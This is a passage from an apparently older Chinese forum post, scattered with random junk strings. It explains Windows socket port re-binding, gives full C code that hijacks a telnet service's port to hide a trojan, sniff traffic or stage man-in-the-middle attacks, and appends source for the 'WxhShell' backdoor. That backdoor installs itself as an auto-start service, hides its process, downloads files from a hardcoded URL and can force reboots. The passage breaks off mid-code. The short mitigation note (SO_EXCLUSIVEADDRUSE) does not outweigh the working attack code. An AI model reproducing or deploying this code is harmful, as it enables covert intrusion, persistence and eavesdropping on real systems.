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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 6c*QBzNL  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); t:%u4\nZ;  
gM&4Ur  
  saddr.sin_family = AF_INET; ?3do-tTp  
(t"e#b(:  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); f<v Z4 IU  
:8Ugz~i  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); m0]Lc{  
t8uaNvUM}e  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 vs{xr*Ft  
F@1Eg  
  这意味着什么?意味着可以进行如下的攻击: ?:Rw[T@ l  
+@MG$*}Oz  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 i([|@Y=  
sPRs;to-  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %8lWJwb7u  
|z`AIScT  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 QxiAC>%K  
t]+h.  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  vlPViHF.  
'h>CgR^NM1  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 41c4Xj?'  
cD9.L  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 +GT"n$)+  
 ?S'Wd=  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 .x_F4#Ka  
}T"&4Rvs2R  
  #include v\-7sgZR  
  #include 35Fs/Gf-n  
  #include >+Y@rj2  
  #include    G3gEL)b*  
  DWORD WINAPI ClientThread(LPVOID lpParam);   d+]/0J!c  
  int main() n8o(>?Kw  
  { e84O 6K6o  
  WORD wVersionRequested; ^F87gow%`B  
  DWORD ret; G`z=qaj  
  WSADATA wsaData; \'+P5,  
  BOOL val; r[3 2'E  
  SOCKADDR_IN saddr; Q$x 3uH\@  
  SOCKADDR_IN scaddr; Nx<fj=VJ  
  int err; -~]]%VJP|  
  SOCKET s; ):nC&M\W~  
  SOCKET sc; XyD*V;.E  
  int caddsize; Ha~} NO  
  HANDLE mt; A5,(P$@ k  
  DWORD tid;   s[}cj+0  
  wVersionRequested = MAKEWORD( 2, 2 ); ;& zBNj  
  err = WSAStartup( wVersionRequested, &wsaData ); ?;DzWCL~9  
  if ( err != 0 ) { R!2E`^{Wl  
  printf("error!WSAStartup failed!\n"); vpoJ{TPO  
  return -1; [q~3$mjQ  
  } _aw49ag;  
  saddr.sin_family = AF_INET; "BvDLe':  
    5 c1{[  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 8YO` TgW  
+[Q`I*C  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); GhW{6.^  
  saddr.sin_port = htons(23); K&up1nZ@(  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Z + )<FX  
  { -Hg,:re2  
  printf("error!socket failed!\n"); &+df@U6i  
  return -1; m,r>E%;Cj  
  } *P+8^t#Vp  
  val = TRUE; te&p1F  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 OGPrjL+  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Zi.w+V  
  { mf\@vI  
  printf("error!setsockopt failed!\n"); ] jycg@=B  
  return -1; vzZ"TSP  
  } 6IKi*}  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; =6[R,{|C  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ]GXE2A_i;  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 PGA `R  
K&;/hdS=F  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) F`57;)F  
  { s;xErH@RA  
  ret=GetLastError(); G9h Bp  
  printf("error!bind failed!\n"); hc]5f3Z  
  return -1; $#FA/+<&$  
  } Cd7l+~*Y  
  listen(s,2); )gNVJ  
  while(1) r_3=+  
  { Y {2L[5_1  
  caddsize = sizeof(scaddr); qnnP*15`  
  //接受连接请求 P*kC>lvSv  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); v.Xmrry  
  if(sc!=INVALID_SOCKET) ?]0bR]}y  
  { B2,JfKk/  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); b#:!b  
  if(mt==NULL) ^Kn:T`vB  
  { \0z<@)r+AJ  
  printf("Thread Creat Failed!\n"); j_}f6d/h  
  break; 7?2<W-n  
  } d2*uY.,  
  } J;Eg"8x]  
  CloseHandle(mt); g>-u9%aa  
  } Yn8aTg[J  
  closesocket(s); $i$Z+-W4'  
  WSACleanup(); U9h@1:  
  return 0; Sxc p [g;  
  }   >{#QS"J#  
  DWORD WINAPI ClientThread(LPVOID lpParam) y-o54e$4Cq  
  {  nw  
  SOCKET ss = (SOCKET)lpParam; 9~}.f1z  
  SOCKET sc; @T~~aQFk  
  unsigned char buf[4096]; r8Z} mvLM  
  SOCKADDR_IN saddr; 'Jl73#3  
  long num; t#=FFQOt  
  DWORD val; d.p%jVO)"  
  DWORD ret; E~1"Nh  
  //如果是隐藏端口应用的话,可以在此处加一些判断 cB}6{c$_sW  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   |%fM*F^7/  
  saddr.sin_family = AF_INET; 6='x}Qb\H  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); =VF%Z[Gm  
  saddr.sin_port = htons(23); \(ju0qFqH  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -qJO6OM  
  { Il$Jj-)  
  printf("error!socket failed!\n"); 8Oo16LPD  
  return -1; nH|7XY9"  
  } %Q|Hvjk=E  
  val = 100; a<&GsDw  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1^y^b{  
  { )%~<EJ*&Z  
  ret = GetLastError(); $J]o\~Z J  
  return -1; 8J8@0  
  } N@\`DO  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8Xz \,}$O  
  { |:5[`  
  ret = GetLastError(); 1D)=q^\I  
  return -1; rY]QTS">o  
  } r $&WwH2^  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) {S5j;  
  { ,\D* =5  
  printf("error!socket connect failed!\n"); IeGVLC  
  closesocket(sc); C7_#D O6"  
  closesocket(ss); 8o!LgT5  
  return -1; zl!Y(o!@  
  } AR7]~+ X  
  while(1) *hkNJ  
  { a<v!5\dq!  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 >+2gAO!  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 OLyl.#J  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 3ULn ]jA  
  num = recv(ss,buf,4096,0); F'^?s= QX  
  if(num>0) YUQKy2  
  send(sc,buf,num,0); _:VIlg U  
  else if(num==0) }vt>}%%  
  break; 7kh(WtUz  
  num = recv(sc,buf,4096,0); ~3qt<"  
  if(num>0) sjwD x0(7=  
  send(ss,buf,num,0); |Q*{yvfEo  
  else if(num==0) L] !M1\  
  break; vXeI)vFK  
  } e2L4E8ST<  
  closesocket(ss); *[b22a4H(  
  closesocket(sc); hbE~.[Y2r  
  return 0 ; nx@ h  
  } p]J0A ^VV  
?eri6D,86w  
gR@,"6b3  
========================================================== yPVK>em5  
#]lK!:  
下边附上一个代码,,WXhSHELL ]% I|C++0  
t(=Z@9)]4F  
========================================================== & _mp!&5XV  
7aJ:kumDZ  
#include "stdafx.h" UGK,+FN  
oE'Flc.  
#include <stdio.h> 4'`y5E  
#include <string.h> "&1h<>  
#include <windows.h> .?*TU~S  
#include <winsock2.h> s?_H<u  
#include <winsvc.h> ZoroK.N4A%  
#include <urlmon.h> ,nz3S5~  
L<_zQ  
#pragma comment (lib, "Ws2_32.lib") Kp%:\s,lO  
#pragma comment (lib, "urlmon.lib") tqicyNL  
7q'T,'[  
#define MAX_USER   100 // 最大客户端连接数 _4~q&? }V  
#define BUF_SOCK   200 // sock buffer C vWt  
#define KEY_BUFF   255 // 输入 buffer 0p1~!X=I  
D 4\ * ,w  
#define REBOOT     0   // 重启 Q(h/C!rKe  
#define SHUTDOWN   1   // 关机 T{zz3@2?  
yf2$HF  
#define DEF_PORT   5000 // 监听端口 p+; La  
QW_W5|_  
#define REG_LEN     16   // 注册表键长度 #wfb-`,5&9  
#define SVC_LEN     80   // NT服务名长度 {=<m^ 5b9  
$gysy!2}.  
// 从dll定义API ]%Z7wF</  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); MNd[Xzm  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (5Sv$Xt  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \#q|.d$ u  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6'qu[ ~ }Q  
OmAa$L,'w  
// wxhshell配置信息 _ e94  
struct WSCFG { 41NVF_R6J  
  int ws_port;         // 监听端口 (K3eb  
  char ws_passstr[REG_LEN]; // 口令 ^ 9FRI9?  
  int ws_autoins;       // 安装标记, 1=yes 0=no <F<jx"/)  
  char ws_regname[REG_LEN]; // 注册表键名 %M u$0~ct"  
  char ws_svcname[REG_LEN]; // 服务名 QT7PCHP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 B dKD%CJ[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *{s 3.=P.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zE1=*zO`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no q1vsvL9Q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >!%F$$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2~RG\JWTA  
#Iwxt3K  
}; #Hi$squJ  
Bf{c4YiF  
// default Wxhshell configuration QV9 z81[  
struct WSCFG wscfg={DEF_PORT, jRNDi_u?Wb  
    "xuhuanlingzhe", eGQ -Ht,N  
    1, B:=VMX~GE  
    "Wxhshell", Bd>a"3fA  
    "Wxhshell", p5JRG2zt  
            "WxhShell Service", od RtJ[   
    "Wrsky Windows CmdShell Service", =Bw2{]w  
    "Please Input Your Password: ", zt/N)5\V  
  1, {`=k$1  
  "http://www.wrsky.com/wxhshell.exe", D) ;w)`  
  "Wxhshell.exe" FgTWym_  
    }; ]Ofs, U^  
Pj{Y  
// 消息定义模块 #D|n6[Y'.t  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; E>Lgf&R#W  
char *msg_ws_prompt="\n\r? for help\n\r#>"; V3q[#.o  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; feG#*m2g  
char *msg_ws_ext="\n\rExit."; ^~K[bFbW  
char *msg_ws_end="\n\rQuit."; j-9Zzgr  
char *msg_ws_boot="\n\rReboot..."; sG8G}f  
char *msg_ws_poff="\n\rShutdown..."; pT'jX^BU  
char *msg_ws_down="\n\rSave to "; OO*2>Qy~z  
$#/f+kble  
char *msg_ws_err="\n\rErr!"; ^s_7-p])(  
char *msg_ws_ok="\n\rOK!"; `$i/f(t6`  
']DUCu  
char ExeFile[MAX_PATH]; yNOoAnGT W  
int nUser = 0; IHcR/\mz  
HANDLE handles[MAX_USER]; Uc d~-D  
int OsIsNt; z` (">J  
0UOjk.~b  
SERVICE_STATUS       serviceStatus; oJe`]_XZ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; i:\|G^h  
oxXCf%!  
// 函数声明 l" +q&3Zx  
int Install(void); `PS>"-AY2  
int Uninstall(void); w'7=CzfYn  
int DownloadFile(char *sURL, SOCKET wsh); 5Sx.'o$  
int Boot(int flag); B\Uocn  
void HideProc(void); lL"ANlX-P  
int GetOsVer(void); ki'CW4x  
int Wxhshell(SOCKET wsl); /a?qtRw  
void TalkWithClient(void *cs); -~v1@  
int CmdShell(SOCKET sock); G- eSHv  
int StartFromService(void); ndS8p]P&o(  
int StartWxhshell(LPSTR lpCmdLine); /M Z^;XG  
Ri;_ 8v[H|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *=zv:!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); jzd)jJ0M  
,yH\nqEz  
// 数据结构和表定义 'T(@5%Db  
SERVICE_TABLE_ENTRY DispatchTable[] = |(3"_  
{ z#^;'nnw  
{wscfg.ws_svcname, NTServiceMain}, AH?4F"  
{NULL, NULL} +l<l3uBNS  
}; BV=~ !tsl  
S<eB&qT$  
// 自我安装 1:22y:^j  
int Install(void) '; ;X{a  
{ 6|Xe ],u  
  char svExeFile[MAX_PATH]; RZP7h>y6@  
  HKEY key; Kjt\A]R%  
  strcpy(svExeFile,ExeFile); +0g L!r  
l;i /$Yu7  
// 如果是win9x系统,修改注册表设为自启动 -mw`f)?Ev  
if(!OsIsNt) { p((a(Q/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M.\V/OX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4/AE;y X  
  RegCloseKey(key); -;*lcY*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v"-K-AQjB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <h%I-e6  
  RegCloseKey(key); 0t7vg#v|  
  return 0; p} {H%L  
    } f"SK3hI$p  
  } 9PdD=9HH  
} ziC%Q8  
else { CaR-Yk   
8p_6RvG  
// 如果是NT以上系统,安装为系统服务 9J$-E4G.M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Go(Td++HS  
if (schSCManager!=0) ]i\;#pj}  
{ (nAL;:$x2  
  SC_HANDLE schService = CreateService z]R%'LGu  
  ( vwAtX($  
  schSCManager, Q) =LbR{#  
  wscfg.ws_svcname, 8]Q#P  
  wscfg.ws_svcdisp, *USG p<iH  
  SERVICE_ALL_ACCESS, fwNj@fl_,e  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1$H<Kjsm  
  SERVICE_AUTO_START, 8kT`5`}lB  
  SERVICE_ERROR_NORMAL, `IT]ZAem`/  
  svExeFile, v UhgM'  
  NULL, i!)\m0Wm  
  NULL, oI-,6G}  
  NULL, ($-m}UF\/  
  NULL,  zPN:)  
  NULL Raf(m,o(  
  ); 9e Fj+  
  if (schService!=0) %`*On~  
  { quRTA"!E  
  CloseServiceHandle(schService); K/K|[=bl  
  CloseServiceHandle(schSCManager); nF$HWp&gt  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :0Z\-7iK  
  strcat(svExeFile,wscfg.ws_svcname); ty'/i!/\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2'u%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); fZrh_^yH  
  RegCloseKey(key); LVT:oIQ  
  return 0; Kc, i$FH  
    } 8Qhj_  
  } Xw3j(`w$,  
  CloseServiceHandle(schSCManager); ,B'fOJ.2  
} .y<u+)  
} |}b~YHTs  
,Oe:SZJ>  
return 1; -iL:D<!Cb_  
} <~P!yLr  
:Iuc H%6V  
// 自我卸载 OY8P  
int Uninstall(void) N'i)s{'  
{ [iZH[7&j  
  HKEY key; DL uaM?7  
2M=h:::W  
if(!OsIsNt) { _ s*p$/V\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UE/JV_/S;  
  RegDeleteValue(key,wscfg.ws_regname); Ft38)T"2R\  
  RegCloseKey(key); 0TZB}c#qT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @S:T8 *~}  
  RegDeleteValue(key,wscfg.ws_regname); FbRGfHL[  
  RegCloseKey(key); X9ZHYlr+Q  
  return 0; tQas_K5  
  } KWojMPs  
} RLZfXXMn  
} )ZI#F]  
else { Em !%3C1r  
U.X` z3q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `][vaLd`Q  
if (schSCManager!=0) h ,n}=g+?  
{ YxrMr9>l1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ` FOCX;  
  if (schService!=0) 4XAs^>N+  
  { V0BT./ B\<  
  if(DeleteService(schService)!=0) { D|ra ;d  
  CloseServiceHandle(schService); (cyvE}g  
  CloseServiceHandle(schSCManager); 6l[ v3l"t  
  return 0; `So/G  
  } +(PUiiP'"v  
  CloseServiceHandle(schService); h8X[*Wme  
  } XwFTAaZ  
  CloseServiceHandle(schSCManager); .]s? 01Z  
} *@p"  
} 8d_J9Ho  
7F2 RH 8)  
return 1; ` Nf  
} I=:"Fqj'N  
dr c-5{M  
// 从指定url下载文件 TW!OE"B  
int DownloadFile(char *sURL, SOCKET wsh) tGU~G&  
{ 6 Ia HaV+P  
  HRESULT hr; 3n)$\aBE  
char seps[]= "/"; ~_Fx2T:X  
char *token; ?dbSm3  
char *file; _",< at  
char myURL[MAX_PATH]; L]8z6]j*  
char myFILE[MAX_PATH]; 4\5i}MIS0  
J]#rh5um  
strcpy(myURL,sURL); Z,O* p,Gzn  
  token=strtok(myURL,seps); FzcXSKHV %  
  while(token!=NULL) 0|.jIix;  
  { ^b$_I31D  
    file=token; (qvH=VTwP  
  token=strtok(NULL,seps); jXLd#6  
  } 9cHo~F|ur  
Rk7F;2  
GetCurrentDirectory(MAX_PATH,myFILE); .{\eco  
strcat(myFILE, "\\"); qdn_ ZE  
strcat(myFILE, file); A]TEs)#*7)  
  send(wsh,myFILE,strlen(myFILE),0); =yz"xWH  
send(wsh,"...",3,0); #:+F  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1Y*k"[?dW  
  if(hr==S_OK) 8lzoiA_9  
return 0; Le:C8^  
else [^s;Ggi9  
return 1; dW%t ph  
fLqjBG]<  
} T.3{}230<  
$y&W:  
// 系统电源模块 8["%e#%`$  
int Boot(int flag) ^8_yJ=~V  
{ i@.Tv.NZ  
  HANDLE hToken; B}[f]8jrM  
  TOKEN_PRIVILEGES tkp; :\JCxS=EW  
\ a,}1FS  
  if(OsIsNt) { zWhj >Za  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); YLi6G Y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /AAD Fa  
    tkp.PrivilegeCount = 1; 8QK8q: |  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; JRw,${W  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); KILX?Pt[7  
if(flag==REBOOT) { U 7.kYu  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) tE_n>~Zs  
  return 0; `WN80d\)&  
} >5#}/G&  
else { bj}Lxc],  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) RrvC}9ar  
  return 0; IHdA2d?.]  
} ,|s*g'u  
  } bsDA&~)s  
  else { E I(e3  
if(flag==REBOOT) { n"T ^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5{k,/Z[L  
  return 0; x<M::")5!V  
} P O 5Wi  
else { 6ICW>#fI`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ! #_2 ![  
  return 0; ~qj(&[U{c\  
} O*GF/ R8B  
} #55:qc>m  
4qp|g'uXT  
return 1; G(.G>8pf  
} Ba8=nGa4KY  
 Q&xH  
// win9x进程隐藏模块 c>K]$;}  
void HideProc(void) E&zf<Y  
{ #jW-&a  
I2WP/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ajm!;LA[jO  
  if ( hKernel != NULL ) $ mE* =  
  { U%s@np  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); lbda/Zx  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); UjQz   
    FreeLibrary(hKernel); _\X ,a5Un  
  } j=irx5:  
i,r:R g~  
return; P?/JyiO }  
} JkWhYP}  
u6Gqg(7hw  
// 获取操作系统版本 <[)-Q~Gg5  
int GetOsVer(void) iW(LD1~7  
{ .)b<cH~%  
  OSVERSIONINFO winfo; <`uu e  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [oV M9 Q  
  GetVersionEx(&winfo); Pd~=:4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zp;!HP;/=  
  return 1; 1*u]v{JJ(  
  else 7Dbm s(:(  
  return 0; ]|tg`*l!>  
} O*l,&5  
}x`Cnn  
// 客户端句柄模块 @@H_3!B%4v  
int Wxhshell(SOCKET wsl) GNMOHqg4  
{ [w'Q9\,p  
  SOCKET wsh; |-}. Y(y  
  struct sockaddr_in client; \)No?fB  
  DWORD myID; &M}X$k I  
5OI.Ka  
  while(nUser<MAX_USER) B1)Eo2i#  
{  Fb(@i  
  int nSize=sizeof(client); bPxL+ +  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %US&`BT!  
  if(wsh==INVALID_SOCKET) return 1; ;yomaAr  
hz4?ku  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); s6 g"uF>k  
if(handles[nUser]==0) [[IMf-]  
  closesocket(wsh); Pl/ dUt_  
else FSA%,b; U  
  nUser++; vd[7Pxe  
  } '_G\_h}5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); q k^FyZ<  
I;t@wbY,  
  return 0; tJ6@Ot  
} '-%1ILK$3r  
.@,t}:lD  
// 关闭 socket d#0:U Y%~  
void CloseIt(SOCKET wsh) z9ADF(J?0'  
{ dR]-R/1|  
closesocket(wsh); kP%hgZ  
nUser--; UA8hYWRP  
ExitThread(0); Q 84t=  
} (p%|F`  
pz /[ ${X  
// 客户端请求句柄 7?=^0?a  
void TalkWithClient(void *cs) 2/*u$~  
{ ":udoVS!  
`xBoNQai  
  SOCKET wsh=(SOCKET)cs; p3U)J&]c6  
  char pwd[SVC_LEN]; Rsfb?${0G  
  char cmd[KEY_BUFF]; M9W zsWM  
char chr[1]; 8<C*D".T$  
int i,j; VhkM{O  
MT&aH~YB  
  while (nUser < MAX_USER) { |X8?B =  
k)n b<JW|r  
if(wscfg.ws_passstr) { >4X2uNbZS  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cpjwc@UMe  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w1)TnGT  
  //ZeroMemory(pwd,KEY_BUFF); (lM,'  
      i=0; F<I*?${[  
  while(i<SVC_LEN) { ;98&5X\u<  
[nO3%7t@  
  // 设置超时 $K^l=X  
  fd_set FdRead; #h[>RtP:  
  struct timeval TimeOut; (I}owr5:  
  FD_ZERO(&FdRead); w[-)c6JyE  
  FD_SET(wsh,&FdRead); wN!\$i@E:  
  TimeOut.tv_sec=8; P?h1nxm`'  
  TimeOut.tv_usec=0; T/'z,,Y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $IE}fgA@5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); QXZXj#`  
jU&m*0nL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f#!+l1GV  
  pwd=chr[0]; z^QrIl/<c2  
  if(chr[0]==0xd || chr[0]==0xa) { n?@zp<  
  pwd=0; Rs<q^w]  
  break; Qfn:5B]tI  
  } #<*.{"T  
  i++; s?EQ  
    } C(XV YND3  
t<Acq07  
  // 如果是非法用户,关闭 socket e3 v^j$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 72s qt5C]  
} 2o?j{K  
U80=f2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2&4nf/sE  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1VgGF^cYR  
W Ej{2+  
while(1) { J 4gtm"2)  
uy hh"[  
  ZeroMemory(cmd,KEY_BUFF); {^dq7!  
U4!KO;Jc  
      // 自动支持客户端 telnet标准   x fb .Z(  
  j=0; >.Gmu  
  while(j<KEY_BUFF) { uBRlvNJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _c>ww<*3  
  cmd[j]=chr[0]; B r#{  
  if(chr[0]==0xa || chr[0]==0xd) { k77IXT_7u  
  cmd[j]=0; OvX&5Q5  
  break; yI: ;+K  
  } ' 4FH9J  
  j++; z}MxMx c4h  
    } xT+_JT65  
iM<$ n2t  
  // 下载文件 B5z'Tq1  
  if(strstr(cmd,"http://")) { ?sk>Mzr  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); f`hZb  
  if(DownloadFile(cmd,wsh)) =VD],R)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6'^E ],:b  
  else ;TJpD0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n*7^lAa2  
  } +c~&o83[  
  else { ]:gW+6w"C  
x:FZEyalG  
    switch(cmd[0]) { 9w=7A>.U  
  +7gd1^|$e  
  // 帮助 x &R9m,  
  case '?': { QR&e~rks  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _^BA;S @  
    break;  cHvm  
  } JUr t %2  
  // 安装 \78E>(`'  
  case 'i': { qYA~Os1e  
    if(Install()) ZHNL ~=r}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |P>7C  
    else # sw4)*v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v.(dOIrX  
    break; sE[`x^1'8  
    } n2K1X!E$  
  // 卸载 CV @P +  
  case 'r': { |}4\Gm  
    if(Uninstall()) f}bq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r84^/+"T  
    else D}?p>e|<D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 60~;UBm5O  
    break; wtYgHC}X  
    } Cy[G7A%  
  // 显示 wxhshell 所在路径 Fx:38Ae  
  case 'p': { >%tG[jb  
    char svExeFile[MAX_PATH]; |SOLC  
    strcpy(svExeFile,"\n\r"); }MQ:n8  
      strcat(svExeFile,ExeFile); relt7sK  
        send(wsh,svExeFile,strlen(svExeFile),0); q!c=f!U?\l  
    break; zGtJ@HbB  
    } _Tj&gyS  
  // 重启 =^KgNQ   
  case 'b': { to?!qxn  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !i"zM}  
    if(Boot(REBOOT)) $9`#p/V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uHKEt[PS$  
    else { ..JRtuM-v  
    closesocket(wsh); U823q-x  
    ExitThread(0); M8~3 0L  
    } #s{^fUN6  
    break; '{ _ X1  
    } 3&y-xZu]  
